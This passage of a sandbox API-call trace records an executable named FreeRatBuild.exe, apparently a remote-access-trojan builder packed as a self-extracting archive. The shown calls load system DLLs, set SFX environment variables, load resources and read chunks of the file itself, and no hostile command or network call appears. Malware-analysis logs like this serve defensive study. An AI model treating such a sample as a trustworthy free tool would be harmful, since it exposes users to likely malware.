returned 0x4bc1a58 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x24) returned 0x4bc1a80 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x29) returned 0x4bc6a20 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x1e) returned 0x4bc1ab0 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x6b) returned 0x4bc8f18 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x17) returned 0x4bc7598 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0xf) returned 0x4bc7ad8 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x16) returned 0x4bc8f90 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x2a) returned 0x4bc6a58 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x29) returned 0x4bcd8b0 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x12) returned 0x4bc6a90 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x21) returned 0x4bc6e50 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x16) returned 0x4bc6e80 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x22) returned 0x4bc6ea0 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x12) returned 0x4bc6ed0 [0066.960] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bcd300 | out: hHeap=0x4bc0000) returned 1 [0066.961] QueryPerformanceFrequency (in: lpFrequency=0x18fd10 | out: lpFrequency=0x18fd10*=100000000) returned 1 [0066.961] QueryPerformanceCounter (in: lpPerformanceCount=0x18fd08 | out: lpPerformanceCount=0x18fd08*=2819028615378) returned 1 [0066.961] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x800) returned 0x4bcc868 [0066.961] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0066.961] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xa2f070) returned 0x0 [0066.962] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fcfc | out: lpCPInfo=0x18fcfc) returned 1 [0066.971] GetCurrentProcess () returned 0xffffffff [0066.971] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x18fcc0, lpSystemAffinityMask=0x18fcbc | out: lpProcessAffinityMask=0x18fcc0, lpSystemAffinityMask=0x18fcbc) returned 1 [0066.971] GetCurrentProcess () returned 0xffffffff [0066.971] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x18fcd4, lpSystemAffinityMask=0x18fcd0 | out: lpProcessAffinityMask=0x18fcd4, lpSystemAffinityMask=0x18fcd0) returned 1 [0066.972] GetStartupInfoW (in: lpStartupInfo=0x18fcf0 | out: lpStartupInfo=0x18fcf0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\FreeRatBuild.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0066.973] GetModuleHandleW (lpModuleName="kernel32") returned 0x75820000 [0066.973] GetProcAddress (hModule=0x75820000, lpProcName="SetDllDirectoryW") returned 0x75845070 [0066.973] SetDllDirectoryW (lpPathName="") returned 1 [0066.974] GetProcAddress (hModule=0x75820000, lpProcName="SetDefaultDllDirectories") returned 0x75db6270 [0066.974] SetDefaultDllDirectories (DirectoryFlags=0x800) returned 1 [0066.974] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x184b78, nSize=0x800 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\FreeRatBuild.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\freeratbuild.exe")) returned 0x2e [0066.974] GetVersionExW (in: lpVersionInformation=0x18474c*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x75845070, dwMinorVersion=0xa43b88, dwBuildNumber=0x7768d00f, dwPlatformId=0x776cee30, szCSDVersion="䡀\x18￾￿ĭ¢") | out: lpVersionInformation=0x18474c*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0066.974] GetSystemDirectoryW (in: lpBuffer=0x18385c, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0066.974] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\version.dll") returned 0x6fbb0000 [0066.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="version.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0066.992] GetSystemDirectoryW (in: lpBuffer=0x18385c, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0066.992] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\DXGIDebug.dll") returned 0x0 [0066.993] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\DXGIDebug.dll" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\dxgidebug.dll")) returned 0xffffffff [0066.993] GetSystemDirectoryW (in: lpBuffer=0x18385c, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0066.993] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\sfc_os.dll") returned 0x6fba0000 [0067.007] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="sfc_os.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0067.007] GetSystemDirectoryW (in: lpBuffer=0x18385c, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0067.007] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\SSPICLI.DLL") returned 0x74380000 [0067.007] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="SSPICLI.DLL", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0067.007] GetSystemDirectoryW (in: lpBuffer=0x18385c, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0067.007] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\rsaenh.dll") returned 0x706b0000 [0067.056] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="rsaenh.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0067.056] GetSystemDirectoryW (in: lpBuffer=0x18385c, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0067.056] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\UXTheme.dll") returned 0x74250000 [0067.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="UXTheme.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0067.115] GetSystemDirectoryW (in: lpBuffer=0x18385c, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0067.115] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\dwmapi.dll") returned 0x74230000 [0067.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="dwmapi.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 1 [0067.123] GetSystemDirectoryW (in: lpBuffer=0x18385c, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0067.123] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\cryptbase.dll") returned 0x74370000 [0067.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="cryptbase.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 1 [0067.123] GetCurrentDirectoryW (in: nBufferLength=0x800, lpBuffer=0xa58468 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop") returned 0x1d [0067.123] GetSystemDirectoryW (in: lpBuffer=0x18ec10, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0067.123] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\riched20.dll") returned 0x6fb10000 [0067.411] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75820000 [0067.411] GetProcAddress (hModule=0x75820000, lpProcName="AcquireSRWLockExclusive") returned 0x7769d210 [0067.411] GetProcAddress (hModule=0x75820000, lpProcName="ReleaseSRWLockExclusive") returned 0x7769d080 [0067.411] VirtualQuery (in: lpAddress=0xa72000, lpBuffer=0x18fb6c, dwLength=0x1c | out: lpBuffer=0x18fb6c*(BaseAddress=0xa72000, AllocationBase=0xa10000, AllocationProtect=0x80, RegionSize=0x10000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0067.411] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0067.411] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x75a90000 [0067.869] GetProcAddress (hModule=0x75a90000, lpProcName="OleInitialize") returned 0x75ab8230 [0067.869] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x18fbac | out: lpflOldProtect=0x18fbac*=0x4) returned 1 [0067.870] OleInitialize (pvReserved=0x0) returned 0x0 [0067.920] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0067.920] LoadLibraryExA (lpLibFileName="COMCTL32.dll", hFile=0x0, dwFlags=0x0) returned 0x731b0000 [0067.956] GetProcAddress (hModule=0x731b0000, lpProcName="InitCommonControlsEx") returned 0x73226570 [0067.956] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x18fbac | out: lpflOldProtect=0x18fbac*=0x4) returned 1 [0067.956] InitCommonControlsEx (picce=0x18fc34) returned 1 [0067.960] GdiplusStartup (in: token=0x18fc3c, input=0x18fc24, output=0x0 | out: token=0x18fc3c, output=0x0) returned 0x0 [0067.965] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0067.965] LoadLibraryExA (lpLibFileName="SHELL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75e00000 [0069.590] GetProcAddress (hModule=0x75e00000, lpProcName="SHGetMalloc") returned 0x75fb9b60 [0069.591] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x18fbac | out: lpflOldProtect=0x18fbac*=0x4) returned 1 [0069.591] SHGetMalloc (in: ppMalloc=0xa58430 | out: ppMalloc=0xa58430*=0x75798d00) returned 0x0 [0069.592] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fc2c | out: lpCPInfo=0x18fc2c) returned 1 [0069.594] GetCommandLineW () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\FreeRatBuild.exe\" " [0069.594] SetEnvironmentVariableW (lpName="sfxcmd", lpValue="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\FreeRatBuild.exe\" ") returned 1 [0069.594] SetEnvironmentVariableW (lpName="sfxpar", lpValue="") returned 1 [0069.594] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xa6dc90, nSize=0x800 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\FreeRatBuild.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\freeratbuild.exe")) returned 0x2e [0069.594] SetEnvironmentVariableW (lpName="sfxname", lpValue="C:\\Users\\RDhJ0CNFevzX\\Desktop\\FreeRatBuild.exe") returned 1 [0069.594] GetLocalTime (in: lpSystemTime=0x18fc54 | out: lpSystemTime=0x18fc54*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xd, wSecond=0x32, wMilliseconds=0x2ed)) [0069.595] GetLastError () returned 0x0 [0069.595] SetLastError (dwErrCode=0x0) [0069.595] SetEnvironmentVariableW (lpName="sfxstime", lpValue="2023-09-19-17-13-50-749") returned 1 [0069.595] GetModuleHandleW (lpModuleName=0x0) returned 0xa10000 [0069.595] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0069.595] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x74ec0000 [0069.595] GetProcAddress (hModule=0x74ec0000, lpProcName="LoadIconW") returned 0x74eda740 [0069.595] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x18fbd4 | out: lpflOldProtect=0x18fbd4*=0x4) returned 1 [0069.596] LoadIconW (hInstance=0xa10000, lpIconName=0x64) returned 0x4802eb [0069.598] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0069.599] GetProcAddress (hModule=0x74ec0000, lpProcName="LoadBitmapW") returned 0x74ee2400 [0069.599] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x18fbac | out: lpflOldProtect=0x18fbac*=0x4) returned 1 [0069.599] LoadBitmapW (hInstance=0xa10000, lpBitmapName=0x65) returned 0x0 [0069.599] FindResourceW (hModule=0xa10000, lpName=0x65, lpType="PNG") returned 0xa73480 [0069.599] SizeofResource (hModule=0xa10000, hResInfo=0xa73480) returned 0xb45 [0069.599] LoadResource (hModule=0xa10000, hResInfo=0xa73480) returned 0xa73704 [0069.599] LockResource (hResData=0xa73704) returned 0xa73704 [0069.600] GlobalLock (hMem=0x920004) returned 0x4bda840 [0069.600] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0069.600] GetProcAddress (hModule=0x75a90000, lpProcName="CreateStreamOnHGlobal") returned 0x756c1370 [0069.600] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x18fb88 | out: lpflOldProtect=0x18fb88*=0x4) returned 1 [0069.601] CreateStreamOnHGlobal (in: hGlobal=0x920004, fDeleteOnRelease=0, ppstm=0x18fc10 | out: ppstm=0x18fc10*=0x4bd95b8) returned 0x0 [0069.605] GdipAlloc (size=0x10) returned 0x66f1f08 [0069.609] GdipCreateBitmapFromStream (stream=0x4bd95b8, bitmap=0x18fbd8) returned 0x0 [0069.649] IUnknown:Release (This=0x4bd95b8) returned 0x2 [0069.650] GdipCreateHBITMAPFromBitmap (bitmap=0x66f1f20, hbmReturn=0x18fc14, background=0xffffff) returned 0x0 [0069.664] GdipDisposeImage (image=0x66f1f20) returned 0x0 [0069.665] GdipFree (ptr=0x66f1f08) [0069.665] GlobalUnlock (hMem=0x920004) returned 0 [0069.666] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0069.667] LoadLibraryExA (lpLibFileName="GDI32.dll", hFile=0x0, dwFlags=0x0) returned 0x74a60000 [0069.667] GetProcAddress (hModule=0x74a60000, lpProcName="GetObjectW") returned 0x74ae22e0 [0069.667] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x18fba8 | out: lpflOldProtect=0x18fba8*=0x4) returned 1 [0069.667] GetObjectW (in: h=0x54050993, c=24, pv=0x18fc28 | out: pv=0x18fc28) returned 24 [0069.668] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0069.668] GetProcAddress (hModule=0x74ec0000, lpProcName="GetDC") returned 0x74ef8990 [0069.668] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x18fb9c | out: lpflOldProtect=0x18fb9c*=0x4) returned 1 [0069.668] GetDC (hWnd=0x0) returned 0x1e0106e7 [0069.668] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0069.669] GetProcAddress (hModule=0x74a60000, lpProcName="GetDeviceCaps") returned 0x74ae0fe0 [0069.669] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x18fb98 | out: lpflOldProtect=0x18fb98*=0x4) returned 1 [0069.669] GetDeviceCaps (hdc=0x1e0106e7, index=88) returned 96 [0069.669] GetDeviceCaps (hdc=0x1e0106e7, index=90) returned 96 [0069.669] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0069.669] GetProcAddress (hModule=0x74ec0000, lpProcName="ReleaseDC") returned 0x74edba40 [0069.670] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x18fb98 | out: lpflOldProtect=0x18fb98*=0x4) returned 1 [0069.670] ReleaseDC (hWnd=0x0, hDC=0x1e0106e7) returned 1 [0069.670] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\FreeRatBuild.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\freeratbuild.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1bc [0069.670] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x80) returned 0x4bd6710 [0069.670] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x80) returned 0x4bd44a0 [0069.670] RtlReAllocateHeap (Heap=0x4bc0000, Flags=0x0, Ptr=0x4bd6710, Size=0x120) returned 0x4bd5688 [0069.670] RtlReAllocateHeap (Heap=0x4bc0000, Flags=0x0, Ptr=0x4bd44a0, Size=0x120) returned 0x4bd44a0 [0069.670] RtlReAllocateHeap (Heap=0x4bc0000, Flags=0x0, Ptr=0x4bd5688, Size=0x1e8) returned 0x4bc24c8 [0069.670] RtlReAllocateHeap (Heap=0x4bc0000, Flags=0x0, Ptr=0x4bd44a0, Size=0x1e8) returned 0x4bc26b8 [0069.673] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x0 [0069.673] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.673] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=8176, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x1ff0 [0069.673] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x1ff0 [0069.673] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.673] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=16352, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x3fe0 [0069.674] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x3fe0 [0069.674] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.674] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=24528, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x5fd0 [0069.674] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x5fd0 [0069.674] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.674] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=32704, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x7fc0 [0069.674] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x7fc0 [0069.674] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.674] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=40880, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x9fb0 [0069.674] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x9fb0 [0069.674] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.674] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=49056, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0xbfa0 [0069.674] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0xbfa0 [0069.674] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.675] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=57232, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0xdf90 [0069.675] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0xdf90 [0069.675] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.675] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=65408, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0xff80 [0069.675] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0xff80 [0069.675] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.675] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=73584, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x11f70 [0069.675] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x11f70 [0069.675] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.675] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=81760, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x13f60 [0069.675] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x13f60 [0069.675] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.675] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=89936, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x15f50 [0069.675] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x15f50 [0069.675] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.676] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=98112, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x17f40 [0069.676] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x17f40 [0069.676] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.676] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=106288, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x19f30 [0069.676] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x19f30 [0069.676] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.676] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=114464, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x1bf20 [0069.676] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, 